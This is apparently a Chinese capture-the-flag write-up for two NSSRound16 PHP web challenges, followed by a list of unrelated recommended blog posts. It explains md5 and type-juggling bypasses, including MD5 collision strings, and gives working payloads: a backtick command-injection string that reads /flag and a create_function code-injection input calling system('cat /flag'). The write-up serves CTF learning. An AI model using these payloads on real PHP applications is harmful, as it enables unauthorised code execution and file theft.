NSSRound16

RCE但是没有完全RCE

审题

审核代码,简单的md5绕过。

知识点

md5绕过,命令组合,shell里``中的内容会被当成代码执行

知识详解

  1. md5等于的绕过方法

    1. 数组绕过 a[]=1&b[]=2,

    2. 0e绕过弱比较,md5后的值以0e开头即可绕过。

    3. $a==md5 $a=0e215962017其md5后的值也为0e开头

    4. md5碰撞绕过强比较。

      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

解题

  1. md5碰撞绕过md5_1和2,数组绕过md5_3

  1. 进入新目录。

审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数

使用dir观察题目内容

找到flag,cat命令被禁言使用more命令。

并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。

所以构造的cmd为

cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`

了解过PHP特性吗

审题

进行代码审计后,总的来说就是让checker1,2,3,4都为ture

知识点

php函数的应用。

解题

  1. 绕过checker1

    $num = $_GET['num'];
    if (preg_match("/[0-9]/", $num)) {
    die("no!!");
    }
    if (intval($num)) {
    $checker_1 = TRUE;
    }

    只要让num中匹配不到数字并让intval=1即可。直接用数组绕过

    num[]=1

  2. 绕过checker2

    if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
    $checker_2 = TRUE;
    }
    }

    md5弱比较,0e 绕过。

    注意strrev()函数,反转函数将字符串前后反转。

    构造:ctype=TDNHTLQ&is_num=807016042

  3. 绕过checker3。

    $_114 = $_GET['114'];
    $_514 = $_POST['514'];
    if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
    $checker_3 = TRUE;
    }
    }

    直接构造:114=1e9&514=9999999999999999a即可。

  4. 绕过checker4

    $arr4y = $_POST['arr4y'];
    if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
    if ($arr4y[$i] === "NSS") {
    die("no!");
    }
    $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
    $checker_4 = TRUE;
    }
    }

    首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。

    所以,构造:arr4y[]=0.

得到下一页目录

注意create_function()函数

$B='echo $A;'
create_function($A,$B) //的输出结果相当于 function lambda_1($A){
echo $A;
}

所以,传入nss=return;}system('cat /flag');/*&shell=时

相当于:

creat_function($shell,$nss);

function lambda_1($shell,$nss){
return;}system('cat /flag');/*
}

所以,得到flag。

随机推荐

  1. springboot 参数通过 @RequestBody传递的写法

    controller中有时候参数是使用 @RequestBody传递的这种怎么写? 直接上代码 @RequestMapping("/test") public void getAc ...

  2. P5731

    https://www.luogu.com.cn/problem/P5731 这道题被标为红题,真实难度应该介于红题和橙题之间,问题在于我高估了它的难度,以为至少有橙题的难度,一般不打表的我毫不犹豫选 ...

  3. LightOJ 1030 数学期望

    Time Limit:2000MS     Memory Limit:32768KB     64bit IO Format:%lld & %llu Submit Status Practic ...

  4. Oracle数据库学习总结

    SQL 笔记 ch3_cn 1.数据类型记录 char(n) 定长字符 varchar(n) 可变长字符 numeric(p,d) 定点数,总位数p,小数点后位数q float(n) n位浮点数 2. ...

  5. APB Slave设计

    APB Slave位置 实现通过CPU对于APB Slave读写模块进行读写操作 规格说明 不支持反压,即它反馈给APB的pready信号始终为1 不支持错误传输,就是说他反馈给APB总线的PSLVE ...

  6. Nginx日志规则以及根据日志进行性能问题判断的思路

    Nginx日志规则以及根据日志进行性能问题判断的思路 背景 Nginx是开源方案里面能实现反向代理 负载均衡的首选. 但是有时候性能出问题比较难以分析和定位, 不知道是不是nginx的瓶颈 性能问题的 ...

  7. [转帖]TiDB Lightning 在数据迁移中的应用与错误处理实践

    TiDB Lightning 在数据迁移中的应用与错误处理实践 作者简介:DBA,会点 MySQL,懂点 TiDB,Python. 个人主页:https://tidb.net/u/seiang/ans ...

  8. [转帖]Jmeter压力测试工具安装及使用教程

    https://www.cnblogs.com/monjeo/p/9330464.html 一.Jmeter下载 进入官网:http://jmeter.apache.org/ 1.第一步进入官网如下图 ...

  9. [转帖]xargs详解

    https://www.cnblogs.com/xiaofeng666/p/10800939.html xargs与find经常结合来进行文件操作,平时删日志的时候只是习惯的去删除,比如 # find ...

  10. [转帖]@nginx多server及使用优化(php)

    文章目录 ​ ​一.nginx多server优先级​​ ​ ​二.禁止IP访问页面​​ ​ ​三.nginx的包含include​​ ​ ​四.nginx 路径的alias和root​​ ​ ​1.配 ...